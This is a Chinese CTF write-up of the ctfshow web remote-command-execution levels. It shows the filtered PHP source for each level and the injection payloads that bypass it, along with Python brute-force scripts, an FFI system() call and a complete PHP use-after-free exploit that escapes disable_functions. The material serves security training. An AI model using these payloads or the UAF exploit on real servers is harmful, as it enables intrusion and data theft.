ctfshow web入门 远程命令执行

3 篇文章 0 订阅

前言:做一下ctfshow web入门远程命令执行题,这里记录下,刚小白也是刚学web方向的题,大佬勿喷。。。
web29 具体分析在代码里:

    <?php 
    
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: h1xa 
    # @Date:   2020-09-04 00:12:34 
    # @Last Modified by:   h1xa 
    # @Last Modified time: 2020-09-04 00:26:48 
    # @email: h1xa@ctfer.com 
    # @link: https://ctfer.com 
    
    */ 
    
    error_reporting(0); 
    if(isset($_GET['c'])){ 
        $c = $_GET['c'];    //接受了c的get传参
        if(!preg_match("/flag/i", $c)){ //有过滤,直接通配符fl*
            eval($c); //eval远程命令执行
        } 
         
    }else{ 
        highlight_file(__FILE__); 
    }
exp:`c=system(%27tac%20fla*%27);`

web30 这个题一开始用上面的一个绕过方法,发现无法绕过,再换个?c=echo `tac *`;发现可以

    <?php 
    
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: h1xa 
    # @Date:   2020-09-04 00:12:34 
    # @Last Modified by:   h1xa 
    # @Last Modified time: 2020-09-04 00:42:26 
    # @email: h1xa@ctfer.com 
    # @link: https://ctfer.com 
    
    */ 
    
    error_reporting(0); 
    if(isset($_GET['c'])){ 
        $c = $_GET['c']; 
        if(!preg_match("/flag|system|php/i", $c)){ //这里过滤较多,所以这里采用echo ·tac *·;方法进行测试
            eval($c); 
        } 
         
    }else{ 
        highlight_file(__FILE__); 
    }
    exp:?c=echo `tac *`;
web31 :

    <?php 
    
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: h1xa 
    # @Date:   2020-09-04 00:12:34 
    # @Last Modified by:   h1xa 
    # @Last Modified time: 2020-09-04 00:49:10 
    # @email: h1xa@ctfer.com 
    # @link: https://ctfer.com 
    
    */ 
    
    error_reporting(0); 
    if(isset($_GET['c'])){ 
        $c = $_GET['c']; 
        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ //过滤了空格,所以这里这里采用16进制的%来进行绕过
            eval($c); 
        } 
         
    }else{ 
        highlight_file(__FILE__); 
    }
exp:?c=echo%09`tac%09*`;
web32:

    <?php 
    
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: h1xa 
    # @Date:   2020-09-04 00:12:34 
    # @Last Modified by:   h1xa 
    # @Last Modified time: 2020-09-04 00:56:31 
    # @email: h1xa@ctfer.com 
    # @link: https://ctfer.com 
    
    */ 
    
    error_reporting(0); 
    if(isset($_GET['c'])){ 
        $c = $_GET['c']; 
        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ //过滤了echo,没法使用echo拉,可以使用include包含函数和伪协议
            eval($c); 
        } 
         
    }else{ 
        highlight_file(__FILE__); 
    }
    exp:?c=include$_POST[a]?>
    POOST:a=php://filter/read=convert.base64-encode/resource=flag.php  burp抓包改变一下类型就可以了
web33:

    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
            eval($c);
        }
        
    }else{
        highlight_file(__FILE__);
    }
过滤了一个空格exp;

    ?c=include$_POST[a]?>
    post:a=php://filter/read=convert.base64-encode/resource=flag.php
web32-36 exp:

    ?c=include$_GET[0]?>&0=data://text/plain,<?php echo(`cat flag.php`);?>
    ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
web37:

    <?php 
    
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: h1xa 
    # @Date:   2020-09-04 00:12:34 
    # @Last Modified by:   h1xa 
    # @Last Modified time: 2020-09-04 05:18:55 
    # @email: h1xa@ctfer.com 
    # @link: https://ctfer.com 
    */ 
    
    //flag in flag.php 
    error_reporting(0); 
    if(isset($_GET['c'])){ 
        $c = $_GET['c']; 
        if(!preg_match("/flag/i", $c)){ 
            include($c); 
            echo $flag; 
         
        } 
             
    }else{ 
        highlight_file(__FILE__); 
    }
一个正则,用到了文件包含,直接用骚姿势读取即可
exp:

    ?c=data:text/plain,<?=system("tac fla*");?>
web38:

    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag|php|file/i", $c)){
            include($c);
            echo $flag;
        
        }
            
    }else{
        highlight_file(__FILE__);
    }
过滤了php,payload使用php短标签即可
exp:

    ?c=data:text//plain,<?=system("nl fl*");?>
web39同样使用?c=data:text//plain,<?=system("nl fl*");?>

web40:

    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
            eval($c);
        }
    }
过滤一大堆正则,正则有的看不懂,这里使用一种php特性来进行读取
**localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名**
exp1:?c=print_r(scandir(current(localeconv())));
**each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组**
exp2:

    ?c=show_source(next(array_reverse(scandir(getcwd()))));
    ?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web41:

    <?php 
    
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: 羽 
    # @Date:   2020-09-05 20:31:22 
    # @Last Modified by:   h1xa 
    # @Last Modified time: 2020-09-05 22:40:07 
    # @email: 1341963450@qq.com 
    # @link: https://ctf.show 
    
    */ 
    
    if(isset($_POST['c'])){ 
        $c = $_POST['c']; 
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ 
            eval("echo($c);"); 
        } 
    }else{ 
        highlight_file(__FILE__); 
    } 
    ?>
过滤了数字字母,参考了do师傅的脚本进行跑flag

    #-- coding:UTF-8 --
    import requests
    import urllib
    import re
    from sys import *
    if(len(argv)!=2):
        print("="*50)
        print('USER:python exp.py <url>')
        print("eg:  python exp.py http://ctf.show/")
        print("exit: input exit in function")
        print("="*50)
        exit(0)
    url=argv[1]
    
    #生成可用的字符
    def write_rce():
        result = ''
        preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
        for i in range(256):
            for j in range(256):
                if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                    k = i | j
                    if k >= 32 and k <= 126:
                        a = '%' + hex(i)[2:].zfill(2)
                        b = '%' + hex(j)[2:].zfill(2)
                        result += (chr(k) + ' ' + a + ' ' + b + '\n')
        f = open('rce.txt', 'w')
        f.write(result)
        
    #根据输入的命令在生成的txt中进行匹配
    def action(arg):
        s1=""
        s2=""
        for i in arg:
            f=open("rce.txt","r")
            while True:
                t=f.readline()
                if t=="":
                    break
                if t[0]==i:
                    s1+=t[2:5]
                    s2+=t[6:9]
                    break
            f.close()
        output="(\""+s1+"\"|\""+s2+"\")"
        return(output)
    
    def main():
        write_rce()
        while True:
            s1 = input("\n[+] your function:")
            if s1 == "exit":
                break
            s2 = input("[+] your command:")
            param=action(s1) + action(s2)
            data={
                'c':urllib.parse.unquote(param)
                }
            r=requests.post(url,data=data)
            print("\n[*] result:\n"+r.text)
    
    main()
**python3 exp.py http://5925abdb-7ade-4b02-a958-20ff65244f86.challenge.ctf.show:8080/**

web42:

    if(isset($_GET['c'])){ 
        $c=$_GET['c']; 
        system($c." >/dev/null 2>&1"); 
    }else{ 
        highlight_file(__FILE__); 
    }
分号接断即可
exp:?c=tac flag.php;
web43:

    if(isset($_GET['c'])){ 
        $c=$_GET['c']; 
        if(!preg_match("/\;|cat/i", $c)){ 
            system($c." >/dev/null 2>&1"); 
        } 
    }else{ 
        highlight_file(__FILE__); 
    }
过滤了cat和;号,这里用||截断也可以
exp:?c=tac flag.php||
web44:

    if(isset($_GET['c'])){ 
        $c=$_GET['c']; 
        if(!preg_match("/;|cat|flag/i", $c)){ 
            system($c." >/dev/null 2>&1"); 
        } 
    }else{ 
        highlight_file(__FILE__); 
    }
又过滤了flag,但这并不影响我们,通配符即可

    ?c=tac fl*%0a
    ?c=tac fl??????%0a(?与省略的ag.php数量一致)
    ?c=tac fl``ag.php||
web45过滤了又过滤了空格,%09即可Tab

    exp:`?c=tac%09f*||`

web46过滤了数字*,这时候可以用?来进行补齐

    exp:/?c=tac%09fla?.php||
web47:

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings
**exp:/?c=tac%09fla?.php||**
web48:

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
exp:

    /?c=tac%09fla?.php||
    或·
    /?c=tac%09fl'ag'.php%0A
    这个命令web47~49通杀
web49:

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
exp:

    ?c=tac%09fl%27ag%27.php%0a
    或
    /?c=tac%09fla?.php||
web50在上一题的基础上过滤了%号,使用<>可以代替空格的%和\
exp:

    ?c=tac<>fla\g.php||
    或
    ?c=tac<fla'g'.php%0a
web51又在上一题的基础上过滤了tac,所以再使用\过滤

    exp:?c=ta\c<>fl\ag.php||
web52:

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 
过滤了<>括号,用${IFS}代替空格即可
exp:

    ?c=ls${IFS}../../../||
    ?c=ta\c${IFS}../../../fl\ag||
web53没有回显了,去掉||即可

    exp:/?c=ca\t${IFS}fla?.php
web54:

    if(isset($_GET['c'])){ 
        $c=$_GET['c']; 
        if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ 
            system($c); 
        } 
    }else{ 
        highlight_file(__FILE__); 
    }
**这次过滤比较保守了,可以使用grep,grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来**
exp:

    ?c=grep${IFS}show${IFS}fl?g.php
    或
    ?c=/bin/?at${IFS}f???????%0a
    这里其实cat命令
    ?c=paste${IFS}fl?g.php%0a
    paste 指令会把每个文件以列对列的方式,一列列地加以合并。
    ?c=uniq${IFS}f???????
    uniq 可检查文本文件中重复出现的行列
    这三个需要进行查看源代码!
web55:

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    }
exp:

    ?c=/???/????64 ????????%0a
    或者
    ?c=/???/???/????2 ????????
    ?c=/usr/bin/bzip2 flag.php
    把flag.php压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来
web56:

    if(isset($_GET['c'])){ 
        $c=$_GET['c']; 
        if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ 
            system($c); 
        } 
    }else{ 
        highlight_file(__FILE__); 
    }
字母数字过滤了
发现是可以上传一个post包,这个文件会被保存在临时文件中/tmp/xx,此时我们可以用?进行匹配!
exp:

    import requests
    url = 'http://4f78dabe-65c1-4ecb-8679-485f267d6bd4.challenge.ctf.show:8080/'
    url += '?c=. /???/????????[@-[]'#构造url
    while True:
        r = requests.post(url,files={'file':("mm.txt","cat flag.php")})#以post进行发包
        flag = r.text.split("ctfshow")#split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
        if len(flag)>1:#说明flag获得值了!
            print(r.text)#打印flag
            break#跳出循环
web57:

    // 还能炫的动吗?
    //flag in 36.php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
            system("cat ".$c.".php");
        }
    }else{
        highlight_file(__FILE__);
    }
卧槽,数字过滤了,提示说flag还在36.php里,这该怎么办纳,引用了一个新的骚知识
**$(()) 代表做一次运算,因为里面为空,也表示值为0
$ ((~ $ (()))) 对0作取反运算,值为-1
$ (( $ ((~ $ (()))) $ ((~ $ (()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$ ((~ $ (( $ ((~ $ (()))) $ ((~ $ (()))))))) 再对-2做一次取反得到1,所以值为1**
poc:

    "$((~$(("+"$((~$(())))"*37+"))))"
    
    $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
exp:

    /?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58:

    // 你们在炫技吗?
    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
    }else{
        highlight_file(__FILE__);
    }

exp:

    c=show_source("flag.php");
web59exp:

    c=show_source("flag.php")
**file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()  这些都可以用到代码执行里面**
web60exp:

    c=show_source('flag.php')
    c=file_get_contents("flag.php")
    //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
         copy()
         rename()
    //用法:
         copy("flag.php","flag.txt");            
         rename("flag.php","flag.txt");
web61-65一样的exp

web66:

    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
    }else{
        highlight_file(__FILE__);
    }
flag改变了,三次exp即可
exp:

    c=highlight_file("flag.php");
    c=print_r(scandir("/"));
    c=highlight_file('/flag.txt');
web67禁用了print_r所以使用var_dump即可绕过
exp:
c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

web68:黑盒测试,禁用了highligh_file,因为是代码执行eval,执行include即可
exp:

    c=var_dump(scandir("/"));
    c=include("/flag.txt");
web69-70,都禁用了var和print_r可以使用下面通用脚本进行遍历目录文件
exp:
    demo:
    print_r(glob("*")); // 列当前目录
    print_r(glob("/*")); // 列根目录
    print_r(scandir("."));
    print_r(scandir("/"));
    $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
    $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
    $a=glob("/*");foreach($a as $value){echo $value."   ";}
    $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
**c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}**
web71一个替换正则出现在后面,直接exit截断就可以了

    exp:c=include("/flag.txt");exit();
web72:

    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
            $s = ob_get_contents();
            ob_end_clean();
            echo preg_replace("/[0-9]|[a-z]/i","?",$s);
    }
exp:
查目录:c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
c=include('flag0.txt');exit();发现不行,这时候找到师傅们的一个脚本,能读取,试试
exp.php:

    c=function ctfshow($cmd) {
        global $abc, $helper, $backtrace;
    
        class Vuln {
            public $a;
            public function __destruct() { 
                global $backtrace; 
                unset($this->a);
                $backtrace = (new Exception)->getTrace();
                if(!isset($backtrace[1]['args'])) {
                    $backtrace = debug_backtrace();
                }
            }
        }
    
        class Helper {
            public $a, $b, $c, $d;
        }
    
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= sprintf("%c",($ptr & 0xff));
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = sprintf("%c",($v & 0xff));
                $v >>= 8;
            }
        }
    
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
    
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { 
    
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { 
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) {
                    return $addr;
                }
            }
        }
    
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) {
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        function trigger_uaf($arg) {
    
            $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
            $vuln = new Vuln();
            $vuln->a = $arg;
        }
    
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
    
        $n_alloc = 10; 
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    
        trigger_uaf('x');
        $abc = $backtrace[1]['args'][0];
    
        $helper = new Helper;
        $helper->b = function ($x) { };
    
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
    
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
    
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
    
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
    
        $closure_obj = str2ptr($abc, 0x20);
    
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
    
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
    
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
    
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
    
    
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
    
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); 
        write($abc, 0xd0 + 0x68, $zif_system); 
    
        ($helper->b)($cmd);
        exit();
    }
    
    ctfshow("cat /flag0.txt");ob_end_flush();
burp抓包发送即可
#需要通过url编码哦
这题的限制open_basedir、file_get_contents、disable_functions
open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空
web73:
第一步查看目录:c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
第二步读取flag:c=include("/flagc.txt");exit();
web74同上题步骤一样。。。
web75:这题无法读取flag,不知道又用到了什么限制,所以这里根据提示用mysql的loadfile读取,但这个条件读取比较刻,需要知道用户名和密码,哎,当成一种思路吧
exp:

    c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
    'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
    {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
    >getMessage();exit(0);}exit(0);
burp抓包url编码一下就可以了
web76同上一题一样

web77:
第一步查看目录:c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现目录下有flag文件和一个readflag可执行程序,百度了一下利用FF1拓展(php7.4以上有)
**FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。**
既然可以调用c语言代码,那就可以往c语言代码进行设想
exp:`c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();`
输到新文件文件里flag.txt
web118:
新的攻击手段。学习一下利用内置变量绕过查flag
poc:

    echo ${PWD} 
    /root
                                                                                                          
    
    echo ${PWD:0:1}      #表示从0下标开始的第一个字符
    /                                                                                                                                                                                       
    
    echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
    t
                                                                                    
    
    echo ${PWD:~0}      
    t
                                                                                 
    
    echo ${PWD:~A}       #所以字母和0具有同样作用             
    t
                                                                        
    
    echo ${PATH}                            
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
                                                                        
    
    echo ${PATH:~A}                
    n
                                                                                                        
    
    ls                                      
    Desktop  Documents  Downloads  flag.txt  Music  Pictures  Public  Templates  Videos
                                                                                                  
    
    ${PATH:~A}l flag.txt
         1  flag{test}
         ${PWD:~A} l 
              
nl可以查看文件内容,直接拼接nl的内置变量即可

    exp:${PATH:~A}${PWD:~A} ????.???
web119:
继续测试内置变量poc:


    echo ${PWD:${#}:${SHLVL}}                                         1 ⨯
    /
    
    
    echo ${#HOSTNAME}
    0
    
    
    echo ${HOME:${#HOSTNAME}:${#SHLVL}}
    /
    
    
    echo ${#IFS}                                                      1 ⨯
    4
                                                                              
    
    echo ${##}  
    1

exp:

    ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
    或
    ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
    这个是/bin/base64 flag.php
web120这个题限制了长度用下较小的脚本就可以了

    exp:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
web121:

    if(isset($_POST['code'])){
        $code=$_POST['code'];
        if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
            if(strlen($code)>65){
                echo '<div align="center">'.'you are so long , I dont like '.'</div>';
            }
            else{
            echo '<div align="center">'.system($code).'</div>';
            }
        }

这次把USER给禁了,首先我们现在可以利用的是PWD,也就是“/var/www/html”,对应了一下bin中的命令,发现我们可以取r来构造/bin/rev取反命令读取文件,也就是我们需要构造出${PWD:3:1}的效果
**这里我们可以用${IFS}和${#}分别替代
${#IFS}在ubuntu等系统中值为3,我在kali中测试值为4
${#}为添加到shell的参数个数,${##}则为值**

    exp:code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
kali:rev flag.txt

web122:
这次把PWD和#都给ban了,这次我们换另一个命令/bin/base64,这次放开了HOME,我们就用HOME来获取/,数字1的话我们没法使用${##}了,这里使用$?
$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
利用<A的报错就能返回值1,根据题目fuzz提示,后面的base64中的4我们可以利用${RANDOM}来获得(因为具有随机性,所以要多尝试直到随机出4来)
exp:

    code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
    
    import requests
    
    url = "http://3f405f9a-8ca5-4519-aef8-95943df5d5de.chall.ctf.show:8080/"
    data = {'code': r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
    while True:
        result = requests.post(url=url, data=data)
        if "PD9waHA" in result.text:
            print(result.text)
            break
web124:

    if(!isset($_GET['c'])){
        show_source(__FILE__);
    }else{
        //例子 c=20-1
        $content = $_GET['c'];
        if (strlen($content) >= 80) {
            die("太长了不会算");
        }
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
        foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/m', $content)) {
                die("请不要输入奇奇怪怪的字符");
            }
        }
        //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
        $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
        preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
        foreach ($used_funcs[0] as $func) {
            if (!in_array($func, $whitelist)) {
                die("请不要输入奇奇怪怪的函数");
            }
        }
        //帮你算出答案
        eval('echo '.$content.';');
    }
白名单黑名单绕过,提示要用到数学函数,这里直接操作
exp:

    因为正则会匹配字母,所以我们需要通过base_convert()进行一个转换
    echo base_convert('system',36,10);
    //得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母
    
    echo base_convert('getallheaders',30,10);
    //得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功
    ?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 
    1:cat flag.php

